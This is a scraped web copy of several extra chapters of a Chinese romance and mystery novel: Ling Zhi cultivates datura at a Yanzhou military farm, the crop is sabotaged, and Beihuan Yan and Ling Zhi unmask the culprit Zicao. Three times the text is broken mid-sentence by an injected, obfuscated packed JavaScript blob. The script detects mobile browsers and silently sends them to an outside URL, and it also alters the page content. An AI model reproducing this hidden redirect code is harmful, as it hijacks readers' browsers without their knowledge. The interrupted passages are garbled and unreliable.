北寰言嗯了一声:“自然是还有别的线索。但那还是我的推断,需要走一步看一步。” 凌信最讨厌跟北寰言打哑谜,在查案这方面,他不如北寰言。 但北寰言性子他也了解,在事情没有查清楚之前,北寰言不会透露太多想法。 凌信无奈撇撇嘴,把碗给厨房送了回去。 凌信前脚走,流风后脚就拿着藏息阁的信上来了。 “主子,凌姑娘今天的消息。”流风把信递给北寰言。 北寰言接过来,拆开看了一遍,好一会儿,才侧头问身边的流云流风:“你们两个也觉得齐文轩这个人长得惹人?” 258. 番外四 主子问这话是什么意思? 流风没多想,下意识遵从本心地点了点头。 流云看北寰言看着藏息阁的信,忽然问起齐文轩,没忍住笑出声,问道:“主子这么在意齐文轩,是因为他跟凌姑娘走得近?” 北寰言若有所思,慢慢地把信收好,低声道:“我……只是觉得有点奇怪。” 流云第一次跟北寰言光明正大地谈及跟凌芷有关的事,只当是他吃醋,打趣道:“凌姑娘不会对齐医官感兴趣的。主子放心便是。” 好一会儿,北寰言才从沉思中回过神,愣了一下问道:“什么?” 流云只当北寰言是少年人心思,羞于启齿,不再纠结这个问题,转身去给北寰言铺床。 北寰言没有追问流云心思,看向流风:“流风,帮我磨墨。” 流风立即从北寰言包裹里取出笔墨纸砚。 北寰言写好信,递给流风道:“这封信,你务必亲手帮我送到卫昭的手上。叮嘱他一定要把这事办好。” 流风接过信封塞进衣襟,转身就出门去了。 北寰言侧头看向窗外,屋顶的冬雪已经融干净了。 大雁北归,春天很快就要来了。 * 凌芷没有想到在春种之前,竟然有这么多事需要安排。 陵中储备军给了她一亩军屯,让她在这里试种曼陀罗。但这到底是一亩地,不是她之前在临府的几寸见方的小药田。 田地开垦要人,照顾田地要人,曼陀罗是现在东陵稀缺的药材,防止周围有百姓见财起义,药田也要人值守。 田地开垦需要劳力。 这军屯隶属于储备军,自然药田值守也应该是储备军排人。齐文轩跟凌芷建议让陵中储备军选一些人来帮助他们开垦。 所有需要储备军的地方,凌芷都要找镇怀商量。 镇怀原本就对自己不能去校场,要一直跟着这个小丫头片子的事耿耿于怀。 他跟在凌芷身边脸色从来就没好过。 凌芷知道这事事关重大,虽然镇怀没有给她好脸色,她也只能壮着胆子跟镇怀说调将士来帮她开垦药田的事。 好在镇怀就是脸臭,凌芷找他商量调用储备军来开垦田地的时候,镇怀还是应下了。 第二天,镇怀就把人安排好了,拿着排班表来找凌芷与齐文轩。 凌芷第一次领这么大的任务,镇怀把东西拿来给她与齐文轩看。镇怀跟齐文轩详细说安排细节的时候,她在边上都认真着听着。 储备军的人安排好了,剩下就是要与齐文轩商量跟她一起照顾药田的人。 齐文轩选了十个人来跟凌芷一起种植曼陀罗,他把名单拿来给凌芷看的时候,凌芷看见名单上有紫草。 她抿着唇,有些作难地望向齐文轩。 齐文轩好似洞察了凌芷内心的想法一般,温声道:“凌姑娘不用担心,紫医女在草药上的造诣颇深,我们医馆也种了一些草药,都是她照顾的。她在种植草药上经验丰富,一定可以帮到我们。” 凌芷虽然心里有些怕紫草,但是齐文轩这么说了,她也只能点头同意。 许多事情放在一起商讨,很快就入了夜。 岩州城外四处都是悬崖峭壁,陵中储备军驻扎在岩州城山脉一线,有月的夜晚,外面光线极佳。 月光穿透窗棂,落在齐文轩修长的手上。 齐文轩放下书册,看了一眼窗外道:“凌姑娘,夜色已深,剩下的事,我们明天再议罢。” 凌芷确实困了,她揉了揉眼睛,伸了个懒腰,跟齐文轩告辞,就带着卫昭往医馆后院走。 只是走了几步,凌芷便隐约听见剑鸣。 她好奇地寻声过去,在医馆外的空地上看见月光下镇怀手中的剑化作一道道银光,在黑暗中闪烁。 凌芷趴在墙边看了一会儿,轻声道:“卫叔叔,这剑法我怎么看着这么眼熟?” 卫昭抱着胳膊,摸着下巴,认真观察了一会儿,低声道:“是安王殿下的月芒剑。镇怀的父亲以前也是安王殿下的亲卫,会安王殿下的月芒剑一点都不奇怪。” “这么晚了,他还在这里练剑?”凌芷回头看卫昭。 卫昭道:“镇东将军只说让镇怀跟着姑娘,供姑娘差遣,可没说他不用去上早操,不用例行考核。” “啊?”凌芷睁大了眼睛,又看向舞剑的镇怀,喃喃道,“跟哥哥一样……” 凌芷看了一会儿,忽然转身,又往医馆跑去。 卫昭连忙跟上。 齐文轩还在偏院的屋子里整理方才跟凌芷商量的文稿,凌芷叩门进来,气喘吁吁地问:“齐、齐医官,我能用一下医馆的药房吗?” 齐文轩不明所以:“凌姑娘可以随便用。” “谢谢!”凌芷转头就跑。 卫昭在后面跟齐文轩抱拳一礼。 凌芷跑到药房,从柜台上扯下一张牛皮纸抱在怀里,推来抓药的梯子,开始抓药,嘴里念念有词:“柴胡、川芎、红花、赤芍、甘草、桃仁、地黄、麸炒枳壳、当归、牛膝、桔梗……” 她一口气把药抓完了,爬下来,放在柜台上称重量。 称完又跑到后院去炮制药材。 卫昭虽然不知道凌芷在做什么药,但她想做,他便盘腿坐在一边石凳上,等她做完。 东边晨光熹微,凌芷才擦了擦额头上的汗,把炮制好的药丸放进随身携带的黑色药瓶里,转身就往医馆后院跑。 刚到后院,她就看见镇怀一身劲装从他的屋里出来。 “怀哥哥!” 凌芷大喊了一声跑过去,喘了一口气,把手里的药递给他。 镇怀蹙眉,垂眸看着凌芷:“这是什么?” 凌芷大大地吸了一口气,道:“我给你做调理身上伤的药丸。” 镇怀不言。 凌芷又道:“这药跟一般的药不同,我在里面放了神医谷独有的秘药。” 镇怀侧目:“我不需要。” 凌芷看他嘴硬,忽然伸手去捏他的手腕。 镇怀疼得龇牙咧嘴,连忙避开凌芷的手:“你!”镇怀想了半天才从嘴里蹦出一句,“男女授受不亲!你不知道吗?!” “怀哥哥,你手腕上的淤青要及时化开才行。如果放任不管,很可能会伤及肌理。”凌芷认真道,“你们练剑之人最重要的就是手腕了,无论是挽剑花,还是用力,都需要用到手腕。” 说着凌芷又从身上的小布袋里,掏出一个白色小瓷瓶,连着手里的黑色药瓶一起塞给镇怀:“我哥哥每次回暮云峰都要跟爹爹过招,哥哥每次都被爹爹打得浑身淤青。可哥哥从来没怪过爹爹。哥哥说,爹爹是怕他技不如人死在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13548029|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面,随意才对他那么严苛。这白瓶是我随身带着给哥哥涂抹淤青用的药膏,这黑瓶是我专门调制的内服活血化瘀的药。这白瓶的药膏一日三次抹,黑瓶的药丸一日吃一次即可。” 凌芷刚说完,军营校场就响起了起床号。 镇怀下意识地转身就往校场跑。 跑了一段,他回头看凌芷揉着眼睛打着哈欠。 镇怀垂眸看了一眼手里两个药瓶,想着方才凌芷说的话。 凌芷的哥哥凌信,其实是他们将门小一辈仰望的对象。 十二岁就在东陵武试中击败了各路高手,成了东陵最年轻的武状元。 虽然镇怀在陵中,可他早就听说凌信在沁春城用手中的缥缈剑与驰骋沙场十多年卫昭的追魂刀几乎打了个平手。 这样一个武学天才回了家,也还要接受父亲严苛的训练。 怕他死在外面…… 镇怀嗤笑一声,他的父亲又何尝不是怕他日后上了战场,死在外面呢? 所以他现在才应该每天都去校场训练,而不是在这里跟着一个小丫头乱跑啊! 镇怀死死捏住手中药瓶。 怒气冲冲地走了几步,又停了下来看着手中的药瓶好久。 他似乎忘了。 凌信不仅武学造诣极高,还有一手医术。 一个人怎么有时间既学医又练剑呢? 那要付出多少努力,才能把两边都兼顾了? 镇怀忽然睁大双眼…… 原来…… 爹爹是这个意思? 爹爹是故意不让他去校场,却每日都要检查他的训练。 爹爹也想他跟凌信一样,无论做什么,都能自律,把两边的事都做好。 这么说来,他错怪凌芷了。 爹爹如果诚心想要逼他自律,无论凌芷来不来军营,他都会被派出去做其他的事。 镇怀一想到自己这段时间对凌芷眼睛不是眼睛鼻子不是鼻子,心里顿时有了愧疚。那小丫头不仅不记仇,还知道他手腕处有淤青,专门给他送了活血化瘀的药来。 方才看她眼下有淤青,哈欠连天,难不成这药是她一宿没睡,做出来的? 镇怀暗暗啧了一声,当即想给自己一巴掌。 自己一个大男人心思还没一个小姑娘敞亮。 一个时辰后镇怀从校场上回来,直奔凌芷所在的院子。 卫昭在门口守着,看见镇怀来,会心一笑,道:“凌姑娘才睡下,恐怕要几个时辰才能起。” 镇怀耳鬓微红,轻声道:“之前是我心思狭隘,错怪凌姑娘了。现在我想明白了,我想当面给凌姑娘道个歉。” 卫昭轻笑:“凌姑娘心地纯良,肯定不会跟你计较这事的。倒是卫某有一事相求,还请镇小将军借一步说话。” 镇怀连忙道:“卫将军可不敢如此称呼我……我还没上过战场,没有军功,只是爹爹的一个马前卒而已。” 卫昭道:“我也是从马前卒做起,镇小将军未来可期。” 镇怀都被卫昭说得不好意思了,连连挠着头发,红着脸道:“卫将军,别再跟我客套了,你有什么事找我直说便是。” 卫昭看了一眼这院子里到处都是制药的医师,道:“我们还是换个地方细说。” 镇怀一脸疑惑,跟着卫昭往后院去了。 259. 番外五 一月开春,镇怀就带着十名将士把凌芷要用的药田开垦了出来。 齐文轩带着医馆里的十名医师,跟着凌芷一起把曼陀罗的种子种下。剩下浇水、掩土的工作由医师们跟将士们一起完成。 凌芷坐在田埂上,拿着笔认真地记着当前的天气、阳光、土壤潮湿度等等一些情况。 齐文轩走到凌芷身边,也学着她的样子坐在田埂上,看着田里忙碌的医师,道:“凌姑娘种出曼陀罗是在许都,陵中的天气可比许都热多了。我能问问姑娘为什么会选岩州城来种植曼陀罗吗?” 凌芷低头写着手记,道:“虽然我是在许都种出曼陀罗的,但是我最开始秋日种下的曼陀罗,到了冬日就全部冻死了。师父在南泽暮云峰四季如春的地方种植曼陀罗也没成功过。所以我想曼陀罗是不是更喜欢天气炎热但又没那么热的地方。陵中岩州刚好就是夹在许都与暮云峰之间的一块地方,所以我选中这里了。” “原来如此。”齐文轩点头,不再说话。 凌芷写着手上的笔速慢了下来。 其实来这也不全都是她的主意。 她从许都出发之前言哥哥就找过她,跟她商讨过第一批的曼陀罗要去哪里种植。 她回答齐文轩前半段说辞,是她的推断没错。可她说完推断以后,言哥哥就说了一句“陵中岩州刚好就是夹在许都与暮云峰之间的一块地方”。 她原本也不知道出了许都,哪里能种活曼陀罗。 言哥哥给了她提议,她便接受了。 让卫昭带着她来到了岩州城。 凌芷写着写着,笔忽然停了下来,她想到了什么,抬眸去看齐文轩。 齐文轩察觉凌芷再看他,侧头轻笑,看向凌芷:“怎么?凌姑娘?” 凌芷眨了眨眼睛,摇摇头,继续低头记录。 自从上次凌芷给镇怀自己做的药膏与药丸之后,镇怀就对凌芷的态度好了不少。 他看明白爹爹意图之后,郑重其事地跟凌芷道了歉。 凌芷原本就不是一个记仇的人,镇怀跟她道歉,她便欣然接受了。 镇怀手里活干完回头看见齐文轩跟凌芷坐在一起,不知道为什么,看见齐文轩人畜无害地对凌芷笑,他心里有些不爽。 他丢下锄头,从身边捡起一个牛皮水袋,走到凌芷身边,问:“凌姑娘喝水吗?” 凌芷抬头看见镇怀,轻轻一笑:“谢谢,但我现在不渴。” 她说完又低头去记录田里的情况。 镇怀看向齐文轩:“怎么?齐医官在医馆里官大一级就不用跟我们一样在田地里忙活了吗?” 齐文轩愣了一下,道:“卑职是有事请教凌姑娘。” “那,你请教完了吗?”镇怀问。 齐文轩能感受到镇怀对他有敌意,眼下他这意思再明显不过了,让他问完就去干活。 齐文轩寻思片刻就看出来镇怀那点小心思,便轻笑着望着镇怀,站起身,对着凌芷道:“看来是卑职打扰了镇小将军与凌姑娘。卑职这就去干活。” 镇怀一脸不悦。 凌芷认真写着手记,没注意听身边镇怀跟齐文轩在说些什么。 她写完站起身,拍了拍身上的泥土,才发现齐文轩不知道什么时候已经走了。 她鼓着嘴,看向镇怀:“怀哥哥,你手腕上的淤青好了吗?” 镇怀点头:“神医谷的药当真是极好,以前我只要加练挥剑次数,手腕第二天就会疼,现在用了你给我的药,第二天也不会疼了。” 凌芷把手记塞进随身携带的布袋里:“那个膏药是娘亲专门给哥哥配制的。我看哥哥用,不出几个时辰身上的淤青就都消了。” 镇怀感慨道:“你哥哥剑术都那么高了,还这么勤奋刻苦?” 这话在凌芷听来奇怪得很,她一脸疑惑地望着镇怀:“哥哥剑术很高吗?可我怎么看他经常被爹爹打得求饶?” 镇怀愣了一下,哈哈大笑。 凌芷被镇怀弄得丈二和尚摸不着头脑。 齐文轩虽然回到了药田,但目光还是落在凌芷身上。 他看见镇怀跟凌芷说笑,眼眸渐冷。 紫草抬头看见齐文轩一直盯着不远处的凌芷与镇怀看,看了好久才低头继续做事。 傍晚药田播种完,医馆的医师们才回医馆休息。 用晚饭的时候,齐文轩找到凌芷的桌子坐下:“凌姑娘。” 凌芷嘴里被粗粮饭塞得满满的,见齐文轩找她说话,她赶紧把嘴里的饭菜咽下去,擦干净嘴才道:“怎么了?” 齐文轩问:“一会儿用完饭,姑娘是回屋里休息吗?” 凌芷摇头:“我吃完饭,还要去药田看看。” “为什么?”齐文轩不解,“我们不是才从药田回来?” 凌芷解释:“我要去记录药田晚上的情况。” “原来如此。”齐文轩颔首道,“晚上卑职还有别的事,不能陪姑娘去了。” “没事我自己去。”凌芷连连摆手。 这是凌芷第一次在陌生的地方种植曼陀罗,她在许都种曼陀罗的时候,教她种植的老师傅说,想要培育一个从未在在这片土地生长的植物,需要事无巨细地记录。 她在许都记录了半年,来到岩州城依然保持了之前的习惯。 开春的天气还有些寒凉,好在选的军屯就在医官边上,凌芷步行半刻钟就能到。 晚上药田有值守的士兵。 借着月光看见一个人影窜进药田,士兵当即围过来,喝道:“是谁?!” 凌芷吓了一跳,回过身。 追来的士兵点起了火折子,这才看见是凌芷。她个子矮,只是一眼就能记住。 凌芷慌忙解释:“我来记录晚上的药田情况。” 镇怀交代过值守的士兵,士兵看见是凌芷,便也不再追问,吹了火折子,四散开,在药田周围巡逻。 * 北寰言在客栈住了三个月,吃了凌信三个月的药。 快入夏的时候,凌信才许北寰言出门。 北寰言贪凉,陵中本来就比许都要热上许多,现在即便是凌信让他出门,他也懒得出了。 他整日抱着棋谱,坐在桌前研究残局。 凌信虽然每次跟凌芷在一起总是跟她吵架,可真的分开了,他又担心。 他在客栈住着每隔一段时间就会出去,到医馆远远地看看凌芷。 有时候是白天去,有的时候是夜里。 夜里去看凌芷,凌信总能在戌时之后看见凌芷一个人去药田边蹲着点着风灯,在自己的小本本上记着什么。 但次次白天去看凌芷,回来以后,他总要跑到北寰言面前跟他说那个齐文轩到底有多讨厌,没事就粘着凌芷,问这问那。 北寰言左手拿着棋谱,右手捏着一颗黑棋,稳稳落下:“齐文轩是岩州城医馆的管事医官,种植曼陀罗若是在这里成了,那便是造福百姓的事。他想把这事办成,向凌芷虚心求教,是应该的。” “什么虚心求教!”凌信转身就坐在北寰言身边,怒道,“那有贴得那么近的虚心求教?!他都快把脸贴到小芷的脸上去了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556339|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 北寰言又捏起一颗白子,淡然道:“药田里那么多人看着,他不敢那么轻薄。” 凌信看北寰言一副不在意地神情,一把抢过他手上的棋谱:“你怎么一点都不担心凌芷!” 手上的棋谱被抢,北寰言才把目光挪向凌信,轻声道:“凌芷身边有那么多人跟着,若是齐文轩真的有什么不轨的行为,早就有人来跟我说了。” 凌信蹙眉道:“我就是看他不顺眼。” “我看你不是看齐文轩不顺眼,”北寰言从凌信手里拿过棋谱,“你是看所有徘徊在凌芷身边的人都不顺眼。” “你这话说得不对,”凌信挑眉望向北寰言,“如果是你,我能勉强容忍一二。” 北寰言睨了他一眼,不接这个话茬,继续自己跟自己下棋。 凌信两个胳膊肘撑在桌子上,道:“不是我说,你不是来陵中找那个你所谓的‘名单’的吗?怎么现在我许你出门了,你也没去找那个名单啊?” 北寰言盯着棋盘思考下一步棋,回道:“外面太热了,我不想出门。” “啧,”凌信激将他,“我看你是压根就没线索罢?” 北寰言根本不吃这一套,淡淡回道:“这事着急也没用,需要静心等待。” “等?等什么?”凌信一脸疑惑。 北寰言似是坐久了,坐累了。终于放下棋谱,站起身,伸了个懒腰,走到窗棂前,双手拢在衣袖里,望着楼下车水马龙的街道,说:“我看着春光正好,不如我们一起去一趟西域,找蔚巡生商量点事如何?” “啊?”凌信一头雾水,怎么刚才还在说名单的事,现在北寰言就扯到西境勤王府了。 其实北寰言查案子思路,他一直都没跟上过。 如果现在北寰舞或者郭学林在身边,或许能提点他一些。 但他俩一个准备自己的婚事,一个外放历练。 北寰言跟他打哑谜,他就只能一直迷糊着。 北寰言不再多言,凌信也不问了。 他在一个地方也呆烦了,北寰言说要出去走走,他无有不准的。 * 一眨眼就入秋了。 凌芷也没想到陵中的气候比许都温暖些,曼陀罗成熟的这么快,根茎成熟比在许都提前了一个月。 凌芷看着曼陀罗开着白色花,喜不自胜。 镇怀站在田埂上看着一田的花,问凌芷:“是不是快结果了?” 凌芷连连点头:“是,不出意外,再过十多天,就有种子了。” 镇怀满脸春风:“爹爹知道这个消息一定会很高兴的。若是岩州城的气候适合种植曼陀罗,整个岩州城的那些佃户就可以种这些赚钱,改善生活了。还有更多的人可以得到治疗。凌姑娘,你虽然不上战场,却做了跟那些保家卫国的将军一样的事!” 凌芷被镇怀说得不好意思,揉了揉自己的鼻子。 齐文轩在一边道:“这是喜事,我们该聚在一起喝一杯,庆祝一下。” 镇怀难得跟齐文轩想法一致,当即表示他去操办这事。 这是凌芷第一次认真地做成一件事,这种成就感不言而喻。 当夜镇怀就在军营里办了场篝火宴会,请最近一起辛苦的将士与医师喝酒。 凌芷高兴也喝了一些果酒,可她不胜酒力,宴会还没散场,卫昭就送她回医馆休息。 第二日她还没有完全清醒就被一阵叩门声吵醒。 她迷迷糊糊地去开门,只见齐文轩一脸惊恐地站在外面道:“凌姑娘,药田里曼陀罗,一夜之间都死了!” 260. 番外六 “死了……”凌芷脑子还没开始转,木讷地重复着齐文轩的话,“曼陀罗全死了……” 这话说完,她才完全清醒。 “死了?!”凌芷睁大了眼睛,一脸不可思议的表情。 她顾不得许多,夺门而出。 “凌姑娘!”卫昭连忙跟上。 凌芷一口气跑到药田,药田一片狼藉。 昨天还开得好好的白花,今日居然全都变黑了。不仅如此,昨日绿油油的根茎,一夜之间也全部都变得黝黑,全部趴在了田里。 凌芷不能理解,两步跳下田埂,捡起一根枯死的曼陀罗。 她发觉这曼陀罗的根茎里面全都化成了黑水。 这是…… 镇怀也闻声从校场上赶了过来。 他看见满地的枯萎,惊得说不出话。 凌芷蹙着眉,蹲在田里,一颗一颗地检查过去。 镇怀对着身后通知他来的士兵,一声怒吼:“你们到底是怎么巡防药田的?!” 这些值守的士兵也知道事关重大,纷纷单膝跪下请罪。 镇怀深吸一口气,镇住心神,怒道:“你们请罪有个屁用?!事情都发生了,你们昨天夜里就没看见这些草药枯了吗?” 领队的队长抬头,一脸懊悔道:“昨天夜里有穿着军装的兄弟给我们值守的这几个兄弟送来庆功酒,说是我们值守辛苦了。我们也没多想,毕竟这药田在这里大半年了也没事,想着就喝一口,不耽误事。谁知我们喝了一碗之后都纷纷倒地不醒……小将军,我们几个酒量你是知道的,三碗不过岗,怎么可能一碗就全都倒了!?” 镇怀听出端倪:“你是说,你们的酒里被下了药?” 镇怀回头,对着身边的亲卫怒道:“去给我查,我倒是要看看昨天谁不在岗!” 镇怀的亲卫领命,转身去挨个盘查。 站在一边的齐文轩沉默许久,才道:“让我把个脉看看。” 队长立即伸手过来,齐文轩三指搭脉,只是一会儿,他便神情凝重地看向在药田里检的凌芷。 镇怀看他一直盯着凌芷看,心里有一种不好的预感,忙问:“怎么了?!” 齐文轩收回手,低声道:“他们昨晚中的曼陀罗的毒……这曼陀罗原本就是毒药,有麻醉的功效。” “怎么可能?!”镇怀道,“这些曼陀罗根本就没长成……” 镇怀张了张嘴,没敢继续往下说。 这里的曼陀罗确实全都死了。 可凌芷就是带着种活的曼陀罗的种子过来的,现在整个储备军营里有曼陀罗的只有凌芷一个人。 这几乎不存在嫁祸的可能,因为曼陀罗在东陵本土还没有种出来,全靠从边境贸易买卖。出货量少,价钱昂贵,一钱一金,不是寻常人买的起。 想要在酒里下毒,麻倒这些值守药田的人,用量不会少。 凌芷检查完所有的曼陀罗,回到田埂上,看见周围的人神情凝重,一脸不解地问:“你们都怎么了?表情这么难看?” 镇怀不知道该如何跟凌芷说这事。 齐文轩倒是没心理负担,颔首一礼道:“这些曼陀罗死,是因为有人在值守的将士酒里下了药。” 凌芷一点都不意外,点头道:“应该是趁我们在军营的时候下的手。” 凌芷回身,看向田里:“这些曼陀罗都是被开水浇死的,茎叶里全是黑水。正常枯死的茎叶不会这样。是有人故意毁田。” 齐文轩没有接凌芷的话,而是继续道:“凌姑娘,药倒将士们的药是……曼陀罗。” 凌芷愣了一下,回头看向齐文轩。 齐文轩垂眸。 凌芷立即走到将士身边,拿起他们手摸脉。 确实有用过曼陀罗的脉象。 这里居然有人有曼陀罗…… 凌芷蹙眉,沉吟片刻,眼眸里流光闪动。 齐文轩看向镇怀:“小将军,这事我们要请镇将军来做主。” 镇怀道:“凌姑娘不可能是下药的人!她若是不想曼陀罗种成功,大可不必跟御医院说她已经种成曼陀罗的这件事。何必千里迢迢不辞辛苦跑来岩州城,花了大半年的时间把曼陀罗种出来,又在即将收获的时候把它们浇死?!” 齐文轩蹙眉,他也觉得这事有蹊跷。 就在此时,一直在站在齐文轩身边的紫草,缓缓道:“小将军说的理是这么个理,可眼下手上有曼陀罗的只有凌姑娘一人,即便是凌姑娘没有动机干这事,也要查了以后才知道。小将军,这事可包庇不得,凌姑娘来陵中培养曼陀罗这事,是陛下亲允的。明明快要收获了,却毁了田。这是欺君之罪,重可诛灭九族,你我谁都担待不起。” 紫草这话说得也没错,可镇怀不信这事是凌芷干的。 他着急地看向凌芷:“凌姑娘!你倒是说句话啊!” 凌芷薄唇紧抿,她无话可说。 酒里的药是铁证。 很快镇怀的亲卫回来了,他伏在镇怀的耳边,说道:“昨天在军营外值守的人说,他们只看见凌姑娘与卫将军提前离席了。” 镇怀还没来得及说话,就听见马蹄声。 一群人齐齐回头,看见镇东策马而来。 镇东带着几名亲卫,下了马。 镇怀下意识地挡在凌芷身前。 镇东先是去药田里看了情况,然后来到凌芷身边问:“凌姑娘这是怎么回事?是我们这里不适合种这药材,还是……” 凌芷低声如实回道:“是意外,被人钻了空子,把田毁了。” 镇东目光落在昨晚值守的那几个人身上,沉声道:“不管什么原因,是你们几个值守的时候出了事,你们自己去戒律堂领二十军棍。” 值守的将士们齐齐单膝下跪领命,转身就去戒律堂领罚。 镇东看向自己的儿子:“听说昨晚篝火宴会是你安排的?” 镇怀垂眸,不敢应声。 镇东道:“这事因你而起,你自己去戒律堂领三十军棍。” 镇怀咬唇,二话不说,转身就走。 齐文轩对着镇东欠身一礼,把他把脉的结果如实回禀。 “镇将军,这事若是让陛下知道了,那便是欺君之罪……陛下怪罪下来,我们谁都担当不起。”齐文轩颔首。 “我知道了。”镇东扫了一眼,“这事总要有个交代。你们几个随我来。” 镇东神情冷峻,扫了一眼齐文轩与紫草,示意他们代表岩州城医馆跟他走。 凌芷咬着唇。 卫昭上前摸了摸凌芷的头,道:“我随你一起去。” 凌芷点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573091|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,跟上镇东。 * 镇东把凌芷齐文轩他们带到了自己的军营大帐。 凌芷紧紧地抓着卫昭的衣袖。齐文轩与紫草跟在最后。 镇东撩起军帐,让凌芷与齐文轩先进去。 凌芷跟在卫昭身后进了大帐。齐文轩也进来之后,镇东才跟着进来。 他道:“言少卿,人我带来了。” 言哥哥? 凌芷抬头,这才看见北寰言与凌信也在军帐里。 大半年没见,言哥哥与哥哥都长高了不少。 言哥哥下颚的棱角越发明显了。 这是齐文轩第一次见北寰言,这人往那一站,天生就带着一种不可侵犯的贵气。 北寰言双手拢在衣袖里,目光淡然地望着他们,语气平缓地说道:“我以为你谋划半年,会有更高级的手段。不成想竟然用这种低级的方式栽赃嫁祸。” 北寰言这话一出,惊得众人眼神一紧。 倒是凌芷神色淡然,像是早就料想到这事没表面看起来的那么简单。 北寰言前面站着的人不多。 只有凌芷、卫昭、齐文轩、紫草四人。 他目光淡然地望着齐文轩与紫草两个人,以他身上的威压,逼得紫草不仅鬓边流汗,就连站姿都怯了几分。 北寰言把紫草的动作尽收眼底,看向身边镇东,道:“镇东将军,麻烦你派人去搜一搜岩州城医馆所有职房里的东西,包括凌芷、卫昭、齐文轩、紫草四个人的屋子。看看能不能找出曼陀罗这味草药。” 镇东领命给身边副将一个眼神,副将立即抱拳退下。 凌信有些惊诧地望向北寰言,怎么他连凌芷的房间都要派人去搜。 凌芷蹙着小眉毛,老老实实地站在那,低着头。 北寰言毫不避讳地把目光落在凌芷的身上。 半年没见这姑娘,这姑娘不仅个子高了些,就连五官也开始褪去年幼时的圆润,脸庞开始有了些弧线。 只是小半个时辰,镇东副将就带着两名将士回来了。 他们两个人手上,一人拿着一个药瓶,一人捧着一个盒子。 副将上前一步,朗声回道:“回将军,言少卿,我们在凌姑娘与紫女常用的职房里搜出来了曼陀罗。” 紫草瞳孔一怔,望着那人手上捧着的盒子,一脸不可思议的表情。 “不可能……不可能!” 她盯着那盒子,缓缓地摇着头,好像有什么事,她不能理解。 她扑上去想要抢那个盒子,却扑了个空。 副将看她有不轨之举,当即快她一步上前一招制敌,把她押住。 紫草大声喊道:“这不可能!我怎么会有这么贵重的草药?!我是被冤枉的!” 北寰言静静地望着她。 紫草见北寰言不应,挣扎着要站起来,还要些说什么。 凌芷却缓缓地从随身携带的小背包里拿出一个用竹子编织的宛若一个布袋形状的竹笼,开口道:“紫医女说自己是冤枉的。” 凌芷把那小竹笼打开,放出里面的三条蜈蚣。只见有两条蜈蚣毫不犹豫地爬向紫草,剩下的一条则是在凌芷脚边徘徊,一副想靠近又不敢靠近的样子。 “你怎么解释这毒蜈蚣这么喜欢往你身边跑呢?” 261. 番外七 凌芷睁圆了双眼,望着紫草。 紫草不懂凌芷为何这么说,张了张嘴,不知应该如何反驳。 凌芷从随身携带的小背包里,拿出一只青色的瓶子。蹲下从瓶子里倒出一点黢黑的液体,只见那三只蜈蚣毫不犹豫地扭动着身子,往那片黑色的液体爬去。 众人看着凌芷这一举动,大为不解。 站在北寰言身边的凌信倒是看懂了,解释道:“这三只蜈蚣是公的,它们是被凌芷提取的雌性蜈蚣的毒液吸引过去的。这是岩州城红头蜈蚣的特性。公蜈蚣凭借着雌蜈蚣留下的毒素气味去寻找它们,交.配后代。眼下正是蜈蚣们交.配的季节,这种特性更为明显。” 即便是凌信在一边解释了,在场的众人也是一头雾水看向凌芷。 凌芷慢慢地收起瓶子,把瓶子放进小背包,才解释道:“这种红头蜈蚣虽然食肉,可它们繁.殖后代,为了保证自己的后代的存活率,最喜欢找本身有毒的植物产卵。在我们的药田里,在这个季节,有许多这种蜈蚣交.配产卵。” 凌芷说到这意味深长地看向紫草:“我去检查过药田里那些死的曼陀罗。都是被热水浇死的。既然是被热水浇死的,热水下地的那一瞬间,应该有许多蜈蚣从地下爬出来逃命。” 紫草听凌芷这么说,原本苍白的脸又白了几分。 “天黑月暗,毁药田的人手忙脚乱的毁田,应该没看见这些从地下爬出来逃命的蜈蚣。一路过去踩死了不少。”凌芷目光落在紫草鞋子上,“我方才下药田看了一圈,脚上沾染了一点那些雌蜈蚣的气味,但到底是过去了一夜,留在田地里的气味在慢慢消散。再者我身上有驱毒虫的香囊,所以有一只蜈蚣在我脚边徘徊。但是紫医女,你若是昨夜没下过药田,为何这些公蜈蚣谁都不找,单单就找你?” 紫草听完凌芷的解释,目瞪口呆。 她没想到这凌芷看起来弱弱小小的,思绪这么清晰。 “我、我昨夜是去药田了!”紫草努力平复自己的声音,“可我去药田也是怕昨晚大家都喝尽兴了,有人意图对药田不轨。” 这话都快把凌信逗笑了。 他抿住唇角,强忍笑意。 北寰言在一边,用眼角睨了他一眼,用眼神警告他严肃点,凌芷正在还原事情原委。 凌芷根本不给紫草狡辩的机会:“紫医女若是昨晚真是因为担心药田,专门走了一趟药田,为何值守的侍卫没说过这件事?” 